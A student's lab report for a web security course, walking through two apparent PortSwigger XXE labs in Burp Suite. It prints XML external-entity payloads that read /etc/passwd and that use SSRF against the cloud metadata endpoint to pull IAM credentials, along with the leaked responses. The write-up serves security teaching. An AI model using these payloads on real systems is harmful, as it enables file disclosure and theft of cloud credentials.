# Web Security- IE2062

# Lab sheet 02 (XXE)

IT22121592

HERATH H.M.C.H.K

CS Y2S2- WEEKEND.

## Lab 01 - Exploiting XXE using external entities to retrieve files.

This lab has a "Check stock" feature that parses XML input and returns any unexpected values in the response. To solve this lab firstly we have to visit a product page and click “Check stock”, and the intercept in Burp Suite ‘HTTP history’

| # | Host | Method | URL | Params | Edited | Status code | Length | MIME type | Extension | Title |
|---|---|---|---|---|---|---|---|---|---|---|
| 61 | https://0adc00b103f8612081f9... | GET | /resources/labheader/images/logoAc... | | | 200 | 8852 | XML | svg | |
| 62 | https://0adc00b103f8612081f9... | GET | /resources/labheader/images/ps-lab-... | | | 200 | 942 | XML | svg | |
| 66 | https://0adc00b103f8612081f9... | GET | /academyLabHeader | | | 101 | 147 | | | |
| 83 | https://0adc00b103f8612081f9... | GET | /product?productId=3 | ✓ | | 200 | 5049 | HTML | | Exploiting XXE using ex... |
| 85 | https://0adc00b103f8612081f9... | GET | /resources/js/xmlStockCheckPayload.js | | | 200 | 513 | script | js | |
| 87 | https://0adc00b103f8612081f9... | GET | /resources/js/stockCheck.js | | | 200 | 981 | script | js | |
| 88 | https://0adc00b103f8612081f9... | GET | /academyLabHeader | | | 101 | 147 | | | |
| 89 | https://0adc00b103f8612081f9... | POST | /product/stock | ✓ | | | | | | |
| 90 | https://0adc00b103f8612081f9... | POST | /product/stock | ✓ | | | | | | |
| 91 | https://0adc00b103f8612081f9... | POST | /product/stock | ✓ | | | | | | |
| 92 | https://0adc00b103f8612081f9... | POST | /product/stock | ✓ | | | | | | |
| 93 | https://0adc00b103f8612081f9... | POST | /product/stock | ✓ | | | | | | |

When we click on the ‘/product/stock’ we can see the XML for the ‘check stock’ we chose.

Pretty Raw Hex

```
POST /product/stock HTTP/2
Host: 0adc00b103f8612081f9f340000f0038.web-security-academy.net
Cookie: session=Qg0hs0b5o8zCzpZcTahVXhYof8E7vSjm
Content-Length: 107
Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Content-Type: application/xml
Accept: */*
Origin: https://0adc00b103f8612081f9f340000f0038.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0adc00b103f8612081f9f340000f0038.web-security-academy.net/product?productId=3
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i

<?xml version="1.0" encoding="UTF-8"?>
  <stockCheck>
    <productId>
      3
    </productId>
    <storeId>
      1
```

Then we can send this to the repeater.

Once we send the code to the repeater, we must declare a local entity and reference the entity in the existing XML element. To do so, insert the following external t=entity definition in between the XML declaration and the stock check element:

```
<?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE xxe [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
```

And replace the “productid” with the reference to the external entity:

```
<productId>
  &xxe;
```

Once we click on the send, the response contains the “Invalid product ID” .

**Response**

Pretty Raw Hex Render

```
1  HTTP/2 400 Bad Request
2  Content-Type: application/json; charset=utf-8
3  X-Frame-Options: SAMEORIGIN
4  Content-Length: 2340
5
6  "Invalid product ID:
7  root:x:0:0:root:/root:/bin/bash
8  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
9  bin:x:2:2:bin:/bin:/usr/sbin/nologin
10 sys:x:3:3:sys:/dev:/usr/sbin/nologin
11 sync:x:4:65534:sync:/bin:/bin/sync
12 games:x:5:60:games:/usr/games:/usr/sbin/nologin
13 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
14 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
15 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
16 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
17 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
18 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
19 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
20 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
21 list:x:38:38:MailingListManager:/var/list:/usr/sbin/nologin
22 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
23 gnats:x:41:41:GnatsBug-ReportingSystem(admin):/var/lib/gnats:/usr/sbin/nologin
24 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
25 _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
26 peter:x:12001:12001::/home/peter:/bin/bash
27 carlos:x:12002:12002::/home/carlos:/bin/bash
28 user:x:12000:12000::/home/user:/bin/bash
29 elmer:x:12099:12099::/home/elmer:/bin/bash
30 academy:x:10000:10000::/academy:/bin/bash
31 messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
32 dnsmasq:x:102:65534:dnsmasq,
   ,
   ,
   :/var/lib/misc:/usr/sbin/nologin
33 systemd-timesync:x:103:103:systemdTimeSynchronization,
   ,
   ,
```

Search 0 highlights

## Lab 2- Exploiting XXE to perform SSRF attacks.

This lab has a "Check stock" feature that parses XML input and returns any unexpected values in the response. To solve this lab, firstly we have to visit a page and intercept in Burp Suite.

Then we have to insert the given external entity definition and replace the “productid” number with a reference to the external entity:

:

```
?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE xxe [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
 <stockCheck>
   <productId>
     &xxe;
```

When we click on “Send” we get a response like this:

**Response**

Pretty Raw Hex Render

```
1 HTTP/2 400 Bad Request
2 Content-Type: application/json; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 30
5
6 "Invalid product ID:
7 latest
8 "
```

Update the URL by adding “latest” :

```
<?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE xxe [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest"> ]>
  <stockCheck>
```

When we send it, we get the response:

**Response**

Pretty Raw Hex Render

```
1 HTTP/2 400 Bad Request
2 Content-Type: application/json; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 33
5
6 "Invalid product ID:
7 meta-data
8 "
```

**Response**

Pretty Raw Hex Render

```
1 HTTP/2 400 Bad Request
2 Content-Type: application/json; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 27
5
6 "Invalid product ID:
7 iam
8 "
```

```
19
20 <?xml version="1.0" encoding="UTF-8"?>
21   <!DOCTYPE xxe [ <!ENTITY xxe SYSTEM
     "http://169.254.169.254/latest/meta-data/iam"> ]>
22   <stockCheck>
```

**Response**

Pretty Raw Hex Render

```
1 HTTP/2 400 Bad Request
2 Content-Type: application/json; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 44
5
6 "Invalid product ID:
7 security-credentials
8 "
```

```
<?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE xxe [ <!ENTITY xxe SYSTEM
  "http://169.254.169.254/latest/meta-data/iam/security-credentials"> ]>
  <stockCheck>
```

**Response**

Pretty Raw Hex Render

```
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 29

"Invalid product ID:
admin
"
```

```
<?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE xxe [ <!ENTITY xxe SYSTEM
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
  <stockCheck>
```

And once we send this URL, we return JSON containing the “SecretAccessKey”

**Response**

Pretty Raw Hex Render

Prettified view

```
ad Request
: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 554

"Invalid product ID:
{
  "Code":"Success",
  "LastUpdated":"2024-08-08T17:41:00.052748395Z",
  "Type":"AWS-HMAC",
  "AccessKeyId":"F00oLW7L05PA4jVsG1lu",
  "SecretAccessKey":"oz2ToTglL9Ja50h5NRkgcgpkLC4V0wE7CEqVIV1Q",
  "Token":
  "rVVNcuopcQq881e2K37LYzhv2mhCobEmWMQsTu20MTrebAdUT2JeKDS4hwE2MiLg0RuZwbs85CSeraaV
  ksajFbm37KUcsbDjxSbzKYHWuNsBwsp00LyJfTI0j1qgZJ7xABGAmMB2tv9PUjoQVuW20Vmbm9XHm9u4n
  fjd0KDcuo2D6EQg2d2t9I2F621RJxM0Jf5LG1a3yq95WulnufqNxaA8UWtxq2xU3y9Cm8ZlhCiq82sN0Y
  0skV1rLVy6bm60",
  "Expiration":"2030-08-07T17:41:00.052748395Z"
}
"
```